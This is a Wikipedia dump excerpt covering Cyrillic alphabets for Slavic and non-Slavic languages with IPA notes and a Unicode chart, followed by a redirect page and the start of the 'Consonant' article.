See [[Bulgarian language#Alphabet]]. [[Bulgarian language|Bulgarian]] differs from Russian in the following ways:
* Ye (Е) is pronounced {{IPA|/ɛ/}} and is called &quot;E&quot;.
* Yo (Ё) does not appear.
* The Russian letter Э does not appear.
* Shcha (Щ) is pronounced {{IPA|/ʃt/}} and is called &quot;Shta&quot;.
* The Hard Sign (Ъ) is used for a vowel, {{IPA|/ə/}} ([[Schwa]]).
* Yery (Ы) does not appear.

==== Modern Serbian since the 19th century ====

[[Serbian language|Serbian]] can also be written with the Latin alphabet. See [[Serbo-Croatian language]].

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty letters of the Serbian alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Serbian alphabet
|-
| А а || Б б || В в || Г г || Д д || Ђ ђ || Е е || Ж ж || З з || И и || Ј ј
|-
| К к || Л л || Љ љ || М м || Н н || Њ њ || О о || П п || Р р || С с || Т т
|-
| Ћ ћ || У у || Ф ф || Х х || Ц ц || Ч ч || Џ џ || Ш ш
|}


Serbian differs from Russian in the following ways:
* Ye is pronounced {{IPA|/ɛ/}}. Yo does not appear. The Russian letter Э does not appear.
* Between D and E is the letter Djə (Ђ, ђ), which is pronounced {{IPA|/dʲ/}}, and looks like Tjə, except that the loop of the H curls farther and dips downwards.
* Short I does not appear. Between I and K is the letter Jə (Ј, ј), pronounced {{IPA|/j/}}, which looks like the Latin letter J.
* Between L and M is the letter Ljə (Љ, љ), pronounced {{IPA|/lʲ/}}, which looks like L and the Soft Sign smashed together.
* Between N and O is the letter Njə (Њ, њ), pronounced {{IPA|/nʲ/}}, which looks like N and the Soft Sign smashed together.
* Between T and U is the letter Tjə (Ћ, ћ), which is pronounced {{IPA|/tʲ/}} and looks like a lowercase Latin letter h with a bar. On the uppercase letter, the bar appears at the top; on the lowercase letter, the bar crosses the top half of the vertical line.
* Between Ch and Sh is the letter Dzhə (Џ, џ), pronounced {{IPA|/dʒ/}}, which looks like Ts but with the downturn moved from the right side of the bottom bar to the middle of the bottom bar.
* Sh is the last letter; the rest do not appear.

==== Macedonian ====

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Twenty-nine letters of the Macedonian alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Macedonian alphabet
|-
| А а || Б б || В в || Г г || Д д || Ѓ ѓ || Е е || Ж ж || З з || Ѕ ѕ || И и
|-
| Ј ј || К к || Л л || Љ љ || М м || Н н || Њ њ || О о || П п || Р р || С с
|-
| Т т || Ќ ќ || У у || Ф ф || Х х || Ц ц || Ч ч || Џ џ || Ш ш
|}

[[Macedonian language|Macedonian]] differs from ''Serbian'' in the following ways:
* Between Ze and I is the letter Dze (Ѕ, ѕ), pronounced {{IPA|/dz/}}, which looks like the Latin letter S.
* Djerv is replaced by Gje (Ѓ, ѓ), pronounced {{IPA|/gʲ/}}, which looks like Ghe with an acute accent (´).
* Tjerv is replaced by Kja (Ќ, ќ), pronounced {{IPA|/kʲ/}}, which looks like Ka with an acute accent (´).

=== Non-Slavic languages ===

These alphabets are generally modelled after Russian, but often bear striking differences, particularly when adapted for [[Caucasian languages]]. The first few of them were generated by Orthodox missionaries for the Finnic and Turkic peoples of [[Idel-Ural]] ([[Mari]], [[Udmurt people|Udmurt]], [[Mordvin people|Mordva]], [[Chuvash people|Chuvash]], [[Tatars|Kerashen Tatars]]) in [[1870s]]. Later such alphabets were created for some of the [[Siberia]]n and [[Caucasus]] peoples who had recently converted to Christianity. In the [[1930s]], some of those alphabets were switched to the [[Uniform Turkic Alphabet]]. All of the peoples of the former Soviet Union who had been using an Arabic or other Asian script ([[Mongolian script]], etc.) also adopted Cyrillic alphabets, and during the [[Great Purge]] in late 1930s, all of the Roman-based alphabets of the peoples of the Soviet Union (with the exception of the Baltic alphabets) were switched over to Cyrillic as well. The Abkhazian alphabet was switched to [[Georgian alphabet|Georgian script]], but after the death of [[Stalin]] Abkhaz also adopted Cyrillic. The last language to adopt Cyrillic was the [[Gagauz language]], which had used [[Greek script]] before.

In [[Uzbekistan]], [[Azerbaijan]] and [[Turkmenistan]], the use of Cyrillic to represent local languages has often been a politically controversial issue after the collapse of the [[Soviet Union]], as it evokes the era of Soviet rule (see [[Russification]]). Some of Russia's languages have also tried to drop Cyrillic, but the move was halted under Russian law (see [[Tatar alphabet]]). A number of languages have switched from Cyrillic to other orthographies—either Roman-based or returning to a former script.

Unlike the Roman alphabet, which is usually adapted to different languages by using additions to existing letters such as accents, umlauts, tildes and cedillas, the Cyrillic alphabet is usually adapted by the creation of entirely new letter shapes. In some alphabets invented in the 19th century, such as [[Mari language|Mari]], [[Udmurt language|Udmurt]] and [[Chuvash language|Chuvash]], umlauts and breves also were used.

==== Abkhaz ====

[[Abkhaz language|Abkhaz]] is a [[Caucasian language]], spoken in the Autonomous Republic of [[Abkhazia]], [[Georgia (country)|Georgia]]. See [[Abkhaz alphabet]].

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; class=&quot;Unicode&quot; summary=&quot;Fifty-eight letters of the Abkhaz alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Abkhaz alphabet
|-
| А а || Б б || В в || Г г || Гь гь || Ҕ ҕ || Ҕь ҕь || Д д || Дә дә || Џ џ || Џь џь
|-
| Е е || Ҽ ҽ || Ҿ ҿ || Ж ж || Жь жь || Жә жә || З з || Ӡ ӡ || Ӡә ӡә || И и || Й й
|-
| К к || Кь кь || Қ қ || Қь қь || Ҟ ҟ || Ҟь ҟь || Л л || М м || Н н || О о || Ҩ ҩ
|-
| П п || Ҧ ҧ || Р р || С с || Т т || Тә тә || Ҭ ҭ || Ҭә ҭә || У у || Ф ф || Х х 
|-
| Хь хь || Ҳ ҳ || Ҳә ҳә || Ц ц || Цә цә || Ҵ ҵ || Ҵә ҵә || Ч ч || Ҷ ҷ || Ш ш || Шь шь
|-
| Шә шә || Щ щ || Ы ы
|}

==== Turkic languages ====
===== Azerbaijani =====
The Cyrillic alphabet was used for the [[Azerbaijani language]] from 1939 to 1991. See [[Azerbaijani alphabet]] for discussion.

===== Bashkir =====
The Cyrillic alphabet was used for the [[Bashkir language]] after the winter of [[1938]].  

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Bashkir Alphabet&quot;
|+ style=&quot;font-size:smaller;&quot; | The Bashkir alphabet
|-
| А а || Б б || В в || Г г || '''Ғ ғ''' || Д д || '''{{Unicode |Ҙ ҙ}}''' || Е е || Ё ё || Ж ж || З з 
|-
| И и || Й й || К к || '''{{Unicode |Ҡ ҡ}}''' || Л л || М м || Н н || '''Ң ң''' || О о || '''Ө ө''' || П п
|-
| Р р || С с || '''{{Unicode |Ҫ ҫ}}''' || Т т || У у || '''Ү ү''' || Ф ф || Х х || '''Һ һ''' || Ц ц || Ч ч ||
|-
| Ш ш || Щ щ || Ъ ъ || Ы ы || Ь ь || Э э || '''Ә ә''' || Ю ю || Я я
|}

===== Chuvash =====

The Cyrillic alphabet is used for the [[Chuvash language]] since the late 19th century, with some changes in 1938.

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-seven letters of the Soviet-era Chuvash alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Chuvash alphabet
|-
| А а || {{Unicode|Ӑ ӑ}} || Б б || В в || Г г || Д д || Е е || Ё ё || {{Unicode|Ӗ ӗ}} || Ж ж || З з 
|-
| И и || Й й || К к || Л л || М м || Н н || О о || П п || Р р || С с || {{Unicode|Ҫ ҫ}} 
|-
| Т т || У у || {{Unicode|Ӳ ӳ}} || Ф ф || Х х || Ц ц || Ч ч || Ш ш || Щ щ || Ъ ъ || Ы ы 
|-
| Ь ь || Э э || Ю ю || Я я
|}

===== Kazakh =====

[[Kazakh language|Kazakh]] is also written with the Latin alphabet (in [[Turkey]], but not in [[Kazakhstan]]), and modified [[Arabic alphabet]] (in [[China]], [[Iran]] and [[Afghanistan]]).

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Forty-two letters of the Kazakh alphabet, capital and lowercase&quot;
|+ style=&quot;font-size:smaller;&quot; | The Kazakh alphabet
|-
| А а || Ә ә || Б б || В в || Г г || Ғ ғ || Д д || Е е || Ё ё || Ж ж || З з
|-
| И и || Й й || К к || Қ қ || Л л || М м || Н н || Ң ң || О о || Ө ө || П п
|-
| Р р || С с || Т т || У у || Ұ ұ || Ү ү || Ф ф || Х х || Һ һ || Ц ц || Ч ч
|-
| Ш ш || Щ щ || Ъ ъ || Ы ы || İ і || Ь ь || Э э || Ю ю || Я я
|}

* Ә ә = {{IPA|/æ/}}
* Ғ ғ = {{IPA|/ʁ/ }} (uvular [[fricative]])
* Қ қ = {{IPA|/q/}} (uvular [[plosive]])
* Ң ң = {{IPA|/ŋ/}}
* Ө ө = {{IPA|/œ/}}
* У у = {{IPA|/uw/}}, {{IPA|/yw/}},{{IPA|/w/}}
* Ұ ұ = {{IPA|/u/}}
* Ү ү = {{IPA|/y/}}
* Һ һ = {{IPA| /h/}}
* İ і = {{IPA|/i/}}

The Cyrillic letters Вв, Ёё, Цц, Чч, Щщ, Ъъ, Ьь and Ээ are not used in native Kazakh words, but only for Russian loans.

===== Kyrgyz =====

[[Kyrgyz language |Kyrgyz]] has also been written in Latin and in Arabic.  

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty letters of the Kyrgyz Cyrillic alphabet, capital and lowercase&quot;
|+ style=&quot;font-size:smaller;&quot; | The Kyrgyz alphabet
|-
| А а || Б б || Г г || Д д || Е е || Ё ё || Ж ж || З з || И и || Й й || К к 
|-
| Л л || М м || Н н || Ң ң || О о || Ө ө || П п || Р р || С с || Т т || У у 
|-
| Ү ү || Х х || Ч ч || Ш ш || Ы ы || Э э || Ю ю || Я я 
|}

* Ң ң = {{IPA|/[[velar nasal|ŋ]]/}}
* Ү ү = {{IPA|/[[close front rounded vowel|y]]/}}
* Ө ө = {{IPA|/[[open-mid front rounded vowel|œ]]/}}

===== Uzbek =====
The Cyrillic alphabet was used for the [[Uzbek language]] from 1940 to 1992.

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty letters of the Soviet-era Uzbek alphabet, capital and small&quot;
|+ style=&quot;font-size:smaller;&quot; | The Uzbek Cyrillic alphabet
|-
| А а || Б б || В в || Г г || Д д || Е е || Ё ё || Ж ж || З з || И и || Й й || К к
|-
| Л л || М м || Н н || О о ||П п || Р р || С с || Т т || У у || Ф ф || Х х || Ч ч
|-
| Ш ш || Ъ ъ || Э э || Ю ю || Я я || Ў ў || Қ қ || Ғ ғ || Ҳ ҳ
|}

Table comparing Cyrillic with Roman alphabets, with IPA equivalents
{| cellpadding=4 summary=&quot;Thirty letters of the Soviet-era Uzbek alphabet, compared with Roman and IPA&quot;
|-
| а
| a
| {{IPA|/a/}}
|-
| б
| b
| {{IPA|/b/}}
|-
| в
| v
| {{IPA|/w/}}
|-
| г
| g
| {{IPA|/g/}}
|-
| д
| d
| {{IPA|/d/}}
|-
| е
| (y)e
| {{IPA|/(j)e/}}
|-
| ё
| yo
| {{IPA|/jo/}}
|-
| ж
| j
| {{IPA|/dʒ/}}
|-
| з
| z
| {{IPA|/z/}}
|-
| и
| i
| {{IPA|/i/}}
|-
| й
| y
| {{IPA|/j/}}
|-
| к
| k
| {{IPA|/k/}}
|-
| л
| l
| {{IPA|/l/}}
|-
| м
| m
| {{IPA|/m/}}
|-
| н
| n
| {{IPA|/n/}}
|-
| о
| o
| {{IPA|/ɒ/}}
|-
| п
| p
| {{IPA|/p/}}
|-
| р
| r
| {{IPA|/r/}}
|-
| с
| s
| {{IPA|/s/}}
|-
| т
| t
| {{IPA|/t/}}
|-
| у
| u
| {{IPA|/u/}}
|-
| ф
| f
| {{IPA|/φ/}}
|-
| х
| x
| {{IPA|/χ/}}
|-
| ч
| ch
| {{IPA|/tʃ/}}
|-
| ш
| sh
| {{IPA|/ʃ/}}
|-
| ъ
| ’
| {{IPA|/ʔ/}}
|-
| э
| e
| {{IPA|/e/}}
|-
| ю
| yu
| {{IPA|/ju/}}
|-
| я
| ya
| {{IPA|/ja/}}
|-
| ў
| o‘
| {{IPA|/ø/}}
|-
| қ
| q
| {{IPA|/q/}}
|-
| ғ
| g‘
| {{IPA|/ʁ/}}
|-
| ҳ
| h
| {{IPA|/h/}}
|}

==== Moldovan ====
{{main |Moldovan alphabet}}

The [[Moldovan language]] used the Cyrillic alphabet between 1946 and 1989. Nowadays, this alphabet is still official in the unrecognized republic of [[Transnistria]].

==== Mongolian ====

The [[Mongolian language|Mongolic]] languages include [[Khalkha]] (in [[Mongolia]]), [[Buryat]] (around [[Lake Baikal]]) and [[Kalmyk]] (northwest of the [[Caspian Sea]]). Khalkha Mongolian is also written with the [[Mongolian alphabet|Mongol vertical alphabet]], which is being slowly reintroduced in Mongolia.

===== Khalkha =====
{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-five letters of the Mongolian Cyrillic alphabet, capital and lowercase&quot;
|+ style=&quot;font-size:smaller;&quot; | The Khalkha Mongolian alphabet
|-
| А а || Б б || В в || Г г || Д д || Е е || Ё ё || Ж ж || З з || И и || Й й
|-
| К к || Л л || М м || Н н || О о || Ө ө || П п || Р р || С с || Т т || У у
|-
| Ү ү || Ф ф || Х х || Ц ц || Ч ч || Ш ш || Щ щ || Ъ ъ || Ы ы || Ь ь || Э э
|-
| Ю ю || Я я
|}
* В в = {{IPA|/w/}}
* Е е = {{IPA|/jɛ/}}, {{IPA|/jœ/}}
* Ё ё = {{IPA|/jo/}}
* Ж ж = {{IPA|/ʤ/}}
* З з = {{IPA|/dz/}}
* Н н = {{IPA|/n-/}}, {{IPA|/-ŋ/}}
* Ө ө = {{IPA|/œ/}}
* Ү ү = {{IPA|/y/}}
* Ы ы = {{IPA|/iː/}} (after a hard consonant)
* Ь ь = {{IPA|/ĭ/}} (extra short)
* Ю ю = {{IPA|/ju/}}, {{IPA|/jy/}}

The Cyrillic letters Кк, Фф and Щщ are not used in native Mongolian words, but only for Russian loans.


===== Buryat =====
The [[Buryat]] (буряад) Cyrillic alphabet is similar to the Khalkha above, but Ьь indicates palatalization as in Russian. Buryat does not use Вв, Кк, Фф, Цц, Чч, Щщ or Ъъ in its native words.

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-two letters of the Buryat Cyrillic alphabet, capital and lowercase&quot;
|+ style=&quot;font-size:smaller;&quot; | The Buryat Mongolian alphabet
|-
| А а || Б б || В в || Г г || Д д || Е е || Ё ё || Ж ж || З з || И и || Й й
|-
| Л л || М м || Н н || О о || Ө ө || П п || Р р || С с || Т т || У у || Ү ү
|-
| Х х || Һ һ || Ц ц || Ч ч || Ш ш || Ы ы || Ь ь || Э э || Ю ю || Я я
|}
* Е е = {{IPA|/jɛ/}}, {{IPA|/jœ/}}
* Ё ё = {{IPA|/jo/}}
* Ж ж = {{IPA|/ʤ/}}
* Н н = {{IPA|/n-/}}, {{IPA|/-ŋ/}}
* Ө ө = {{IPA|/œ/}}
* Ү ү = {{IPA|/y/}}
* Һ һ = {{IPA|/h/}}
* Ы ы = {{IPA|/ei/}}, {{IPA|/iː/}}
* Ю ю = {{IPA|/ju/}}, {{IPA|/jy/}}


===== Kalmyk =====
The [[Kalmyk language|Kalmyk]] (хальмг) Cyrillic alphabet is similar to the Khalkha, but the letters Ээ, Юю and Яя appear only word-initially. In Kalmyk, long vowels are written double in the first syllable (нөөрин), but single in syllables after the first. Short vowels are omitted altogether in syllables after the first syllable (хальмг = xaʎmag).

{| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-four letters of the Kalmyk Cyrillic alphabet, capital and lowercase&quot;
|+ style=&quot;font-size:smaller;&quot; | The Kalmyk Mongolian alphabet
|-
| А а || Ә ә || Б б || В в || Г г || Һ һ || Д д || Е е || Ж ж || Җ җ || З з
|-
| И и || Й й || К к || Л л || М м || Н н || Ң ң || О о || Ө ө || П п || Р р
|-
| С с || Т т || У у || Ү ү || Х х || Ц ц || Ч ч || Ш ш || Ь ь || Э э || Ю ю
|-
| Я я
|}
* Ә ә = {{IPA|/æ/}}
* В в = {{IPA|/w/}}
* Һ һ = {{IPA|/γ/}}
* Е е = {{IPA|/ɛ/}}, {{IPA|/jɛ-/}}
* Җ җ = {{IPA|/ʤ/}}
* Ң ң = {{IPA|/ŋ/}}
* Ө ө = {{IPA|/œ/}}
* Ү ү = {{IPA|/y/}}

== Cyrillic in Unicode ==

Main article: [[Cyrillic characters in Unicode]].

In [[Unicode]], the Cyrillic block extends from U+0400 to U+052F. The characters in the range U+0400 to U+045F are basically the characters from [[ISO 8859-5]] moved upward by 864 positions. The characters in the range U+0460 to U+0489 are historic letters, not used now. The characters in the range U+048A to U+052F are additional letters for various languages that are written with Cyrillic script.

[[Unicode]] does not include accented Cyrillic letters, but they can be [[Combining diacritical mark|combined]] by adding U+0301 (&quot;combining acute accent&quot;) after the accented vowel (e.g., ы́ э́ ю́ я́). Some languages (e.g., modern [[Church Slavonic language|Church Slavonic]]) still are not fully supported.

{|
|- align=&quot;center&quot;
|&amp;nbsp;||&amp;nbsp;||&lt;code&gt;0&lt;/code&gt;||&lt;code&gt;1&lt;/code&gt;||&lt;code&gt;2&lt;/code&gt;||&lt;code&gt;3&lt;/code&gt;||&lt;code&gt;4&lt;/code&gt;||&lt;code&gt;5&lt;/code&gt;||&lt;code&gt;6&lt;/code&gt;||&lt;code&gt;7&lt;/code&gt;||&lt;code&gt;8&lt;/code&gt;||&lt;code&gt;9&lt;/code&gt;||&lt;code&gt;A&lt;/code&gt;||&lt;code&gt;B&lt;/code&gt;||&lt;code&gt;C&lt;/code&gt;||&lt;code&gt;D&lt;/code&gt;||&lt;code&gt;E&lt;/code&gt;||&lt;code&gt;F&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;400&lt;/code&gt;||&amp;nbsp;||{{Unicode|Ѐ}}||Ё||Ђ||Ѓ||Є||Ѕ||І||Ї||Ј||Љ||Њ||Ћ||Ќ||Ѝ||Ў||Џ
|- align=&quot;center&quot;
|&lt;code&gt;410&lt;/code&gt;||&amp;nbsp;||А||Б||В||Г||Д||Е||Ж||З||И||Й||К||Л||М||Н||О||П
|- align=&quot;center&quot;
|&lt;code&gt;420&lt;/code&gt;||&amp;nbsp;||Р||С||Т||У||Ф||Х||Ц||Ч||Ш||Щ||Ъ||Ы||Ь||Э||Ю||Я
|- align=&quot;center&quot;
|&lt;code&gt;430&lt;/code&gt;||&amp;nbsp;||а||б||в||г||д||е||ж||з||и||й||к||л||м||н||о||п
|- align=&quot;center&quot;
|&lt;code&gt;440&lt;/code&gt;||&amp;nbsp;||р||с||т||у||ф||х||ц||ч||ш||щ||ъ||ы||ь||э||ю||я
|- align=&quot;center&quot;
|&lt;code&gt;450&lt;/code&gt;||&amp;nbsp;||ѐ||ё||ђ||ѓ||є||ѕ||і||ї||ј||љ||њ||ћ||ќ||ѝ||ў||џ
|- align=&quot;center&quot;
|&lt;code&gt;460&lt;/code&gt;||&amp;nbsp;||Ѡ||ѡ||Ѣ||ѣ||Ѥ||ѥ||Ѧ||ѧ||Ѩ||ѩ||Ѫ||ѫ||Ѭ||ѭ||Ѯ||ѯ
|- align=&quot;center&quot;
|&lt;code&gt;470&lt;/code&gt;||&amp;nbsp;||Ѱ||ѱ||Ѳ||ѳ||Ѵ||ѵ||Ѷ||ѷ||Ѹ||ѹ||Ѻ||ѻ||Ѽ||ѽ||Ѿ||ѿ
|- align=&quot;center&quot;
|&lt;code&gt;480&lt;/code&gt;||&amp;nbsp;||Ҁ||ҁ||҂||҃||҄||҅||҆||҇||҈||҉||Ҋ||ҋ||Ҍ||ҍ||Ҏ||ҏ
|- align=&quot;center&quot;
|&lt;code&gt;490&lt;/code&gt;||&amp;nbsp;||Ґ||ґ||Ғ||ғ||Ҕ||ҕ||Җ||җ||Ҙ||ҙ||Қ||қ||Ҝ||ҝ||Ҟ||ҟ
|- align=&quot;center&quot;
|&lt;code&gt;4A0&lt;/code&gt;||&amp;nbsp;||Ҡ||ҡ||Ң||ң||Ҥ||ҥ||Ҧ||ҧ||Ҩ||ҩ||Ҫ||ҫ||Ҭ||ҭ||Ү||ү
|- align=&quot;center&quot;
|&lt;code&gt;4B0&lt;/code&gt;||&amp;nbsp;||Ұ||ұ||Ҳ||ҳ||Ҵ||ҵ||Ҷ||ҷ||Ҹ||ҹ||Һ||һ||Ҽ||ҽ||Ҿ||ҿ
|- align=&quot;center&quot;
|&lt;code&gt;4C0&lt;/code&gt;||&amp;nbsp;||Ӏ||Ӂ||ӂ||Ӄ||ӄ||Ӆ||ӆ||Ӈ||ӈ||Ӊ||ӊ||Ӌ||ӌ||Ӎ||ӎ||ӏ
|- align=&quot;center&quot;
|&lt;code&gt;4D0&lt;/code&gt;||&amp;nbsp;||Ӑ||ӑ||Ӓ||ӓ||Ӕ||ӕ||Ӗ||ӗ||Ә||ә||Ӛ||ӛ||Ӝ||ӝ||Ӟ||ӟ
|- align=&quot;center&quot;
|&lt;code&gt;4E0&lt;/code&gt;||&amp;nbsp;||Ӡ||ӡ||Ӣ||ӣ||Ӥ||ӥ||Ӧ||ӧ||Ө||ө||Ӫ||ӫ||Ӭ||ӭ||Ӯ||ӯ
|- align=&quot;center&quot;
|&lt;code&gt;4F0&lt;/code&gt;||&amp;nbsp;||Ӱ||ӱ||Ӳ||ӳ||Ӵ||ӵ||Ӷ||ӷ||Ӹ||ӹ||Ӻ||ӻ||Ӽ||ӽ||Ӿ||ӿ
|- align=&quot;center&quot;
|&lt;code&gt;500&lt;/code&gt;||&amp;nbsp;||Ԁ||ԁ||Ԃ||ԃ||Ԅ||ԅ||Ԇ||ԇ||Ԉ||ԉ||Ԋ||ԋ||Ԍ||ԍ||Ԏ||ԏ
|- align=&quot;center&quot;
|&lt;code&gt;510&lt;/code&gt;||&amp;nbsp;||Ԑ||ԑ||Ԓ||ԓ||Ԕ||ԕ||Ԗ||ԗ||Ԙ||ԙ||Ԛ||ԛ||Ԝ||ԝ||Ԟ||ԟ
|- align=&quot;center&quot;
|&lt;code&gt;520&lt;/code&gt;||&amp;nbsp;||Ԡ||ԡ||Ԣ||ԣ||Ԥ||ԥ||Ԧ||ԧ||Ԩ||ԩ||Ԫ||ԫ||Ԭ||ԭ||Ԯ||ԯ
|}

==See also==

* [[Bosnian Cyrillic]]
* [[Cyrillization]]
* [[Faux Cyrillic]] a graphical embellishment combining Cyrillic with Latin text letters used in Western society
* [[Iotation]]
* [[Languages using Cyrillic]]
* ''[[palochka]]''
* [[Russian Manual Alphabet]] (the [[fingerspelling|fingerspelled]] Cyrillic alphabet)
* [[Slavic numerals]]
* [[Volapuk encoding]], an informal rendering of Cyrillic text over Latin-alphabet ASCII.

''Character Encodings''
* [[CP866]] (8-bit Cyrillic [[character encoding]] established by [[Microsoft]] for use in [[MS-DOS]])
* [[ISO/IEC 8859-5]] (8-bit Cyrillic [[character encoding]] established by [[International Organization for Standardization]])
* [[KOI8-R]] (8-bit native Russian [[character encoding]])
* [[KOI8-U]] (8-bit Ukrainian [[character encoding]])
* [[Windows-1251]] (8-bit Cyrillic [[character encoding]] established by [[Microsoft]] for use in [[Microsoft Windows]])

== External links ==
* [http://p.dimovi.net Bulgarian Online Transliterator]
* [http://www.omniglot.com/writing/cyrillic.htm Cyrillic alphabet at omniglot.com]
* [http://www.terena.nl/library/multiling/euroml/mlcs5-cyr.txt A Survey of The Use of Modern Cyrillic Script], including the complete required repertoire of graphic characters, by J. W. van Wingen.
* [http://www.peoples.org.ru/eng_index.html Minority Languages of Russia on the Net], a list of resources.
* [http://www.easybulgarian.com/members/u0a_sample.html Bulgarian Cyrillic Alphabet audio]
* [http://www.jewishgen.org/jri-pl/translit.htm Information on Cyrillic transliteration] and the handwritten script form of Cyrillic.
* [http://www.unicode.org/charts/PDF/U0400.pdf Unicode Code Charts &quot;Cyrillic&quot;] (PDF)
* [http://www.unicode.org/charts/PDF/U0500.pdf Unicode Code Charts &quot;Cyrillic Supplement&quot;] (PDF)
* [http://czyborra.com/charsets/cyrillic.html The Cyrillic Charset Soup], Roman Czyborra’s overview and history of Cyrillic charsets.
* [https://addons.mozilla.org/extensions/moreinfo.php?id=561 The Russ Key Mozilla Firefox extension], this extension allows typing in Russian and other languages and transliterating HTML text into Cyrillic.
*[http://www.QazTranslit.com Kazakh Online Transliterator], also allows viewing of Kazakh Cyrillic web pages in Latin characters.

[[Category:Cyrillic alphabet]]

{{Link FA|cs}}

[[af:Cyrilliese alfabet]]
[[als:Kyrillisches Alphabet]]
[[ast:Alfabetu cirílicu]]
[[bg:Кирилица]]
[[be:Кірыліца]]
[[bs:Ćirilica]]
[[br:Lizherenneg kirillek]]
[[ca:Alfabet ciríl·lic]]
[[cv:Кириллица]]
[[cs:Cyrilice]]
[[da:Kyrilliske alfabet]]
[[de:Kyrillisches Alphabet]]
[[et:Kirillitsa]]
[[es:Alfabeto cirílico]]
[[eo:Cirila alfabeto]]
[[eu:Alfabeto ziriliko]]
[[fr:Alphabet cyrillique]]
[[ga:Aibítir Chirilieach]]
[[gl:Alfabeto cirílico]]
[[ko:키릴 문자]]
[[hr:Ćirilica]]
[[id:Aksara Sirilik]]
[[is:Kýrillískt letur]]
[[it:Alfabeto cirillico]]
[[he:אלפבית קירילי]]
[[lv:Kirilica]]
[[lt:Kirilica]]
[[hu:Cirill írás]]
[[mk:Кирилица]]
[[nl:Cyrillisch alfabet]]
[[ja:キリル文字]]
[[no:Det kyrilliske alfabetet]]
[[nn:Det kyrilliske alfabetet]]
[[pl:Cyrylica]]
[[pt:Alfabeto cirílico]]
[[ro:Alfabetul chirilic]]
[[ru:Кириллица]]
[[sq:Alfabeti Çirillik]]
[[sk:Cyrilika]]
[[sl:Cirilica]]
[[sr:Ћирилица]]
[[fi:Kyrillinen kirjaimisto]]
[[sv:Kyrilliska alfabetet]]
[[tl:Alpabetong Siriliko]]
[[tt:Kirill älifbası]]
[[th:อักษรซีริลลิก]]
[[uk:Кирилиця]]
[[zh:西里尔字母]]</text>
    </revision>
  </page>
  <page>
    <title>Carnegie-Mellon University</title>
    <id>5640</id>
    <revision>
      <id>15903840</id>
      <timestamp>2002-04-07T12:26:09Z</timestamp>
      <contributor>
        <ip>195.149.37.20</ip>
      </contributor>
      <comment>*REDIRECT [[Carnegie Mellon University]]</comment>
      <text xml:space="preserve">#REDIRECT [[Carnegie Mellon University]]</text>
    </revision>
  </page>
  <page>
    <title>Consonant</title>
    <id>5641</id>
    <revision>
      <id>41354831</id>
      <timestamp>2006-02-26T20:35:36Z</timestamp>
      <contributor>
        <username>QuartierLatin1968</username>
        <id>93392</id>
      </contributor>
      <minor />
      <comment>kw</comment>
      <text xml:space="preserve">:''See also [[consonance]] in [[music]].''

A '''consonant''' is a [[sound]] in spoken [[language]] that is characterized by a closure or stricture of the [[vocal tract]] sufficient to cause audible turbulence. The word ''consonant'' comes from [[Latin]] and means &quot;sounding with&quot; or &quot;sounding together&quot;, the idea being that consonants don't sound on their own, but only occur with a nearby [[vowel]], which is the case in Latin. This conception of consonants, however, does not reflect the modern linguistic understanding which defines consonants in terms of vocal tract constriction.
{{Place_of_articulation}}
{{Manner_of_articulation}}
Since the number of consonants in the world's languages is much greater than the number of consonant letters in any one alphabet, [[linguist]]s have devised systems such as the [[International Phonetic Alphabet]] (IPA) to assign a unique [[symbol]] to each possible consonant. In fact, the [[Latin alphabet]], which is used to write English, has fewer consonant letters than English has consonant sounds, so some letters represent more than one consonant, and [[Digraph (orthography)|digraph]]s like &quot;sh&quot; and &quot;th&quot; are used to represent some sounds. Many speakers aren't even aware that the &quot;th&quot; sound in &quot;this&quot; is a different sound from the &quot;th&quot; sound in &quot;thing&quot; (in the IPA they're [&amp;#240;] and [&amp;#952;], respectively).

Each consonant can be distinguished by several ''[[Distinctive feature|features]]'':
* The [[manner of articulation]] is the method that the consonant is articulated, such as [[nasal consonant|nasal]] (through the nose), [[stop consonant|stop]] (complete obstruction of air), or [[approximant]] (vowel like). 
* The [[place of articulation]] is where in the vocal tract the obstruction of the consonant occurs, and which speech organs are involved. Places include [[bilabial consonant|bilabial]] (both lips), [[alveolar consonant|alveolar]] (tongue against the gum ridge), and [[velar consonant|velar]] (tongue against soft palate). Additionally, there may be a simultaneous narrowing at another place of articulation, such as [[palatalisation]] or [[pharyngealisation]].
* The [[phonation]] of a consonant is how the [[vocal cords]] vibrate during the articulation. When the vocal cords vibrate fully, the consonant is called [[voiced]]; when they do not vibrate at all, it's [[voiceless]]. 
* The [[voice onset time]] (VOT) indicates the timing of the phonation. [[Aspiration (phonetics)|Aspiration]] is a feature of VOT.
* The [[airstream mechanism]] is how the air moving through the vocal tract is powered. Most languages have exclusively [[pulmonic egressive]] consonants, which use the lungs and diaphragm, but [[ejective]]s, [[click consonant|click]]s, and [[implosive]]s use different mechanisms.
* The [[gemination|length]] is how long the obstruction of a consonant lasts. This feature is not distinctive in English, but various languages such as Italian, Japanese and Finnish have two length levels, &quot;single&quot; and &quot;[[geminate]]&quot;. [[Estonian_language|Estonian]] and some [[Sami]] languages have three lengths on the phonetic level: short, geminate, and long geminate.
* The articulatory [[force]] is how much muscular energy is involved. This has been proposed many times, but no distinction relying exclusively on force has ever been demonstrated.

All English consonants can be classified by a combination of these features, such as &quot;voiceless alveolar stop consonant&quot; [t]. In this case the airstream mechanism is omitted.

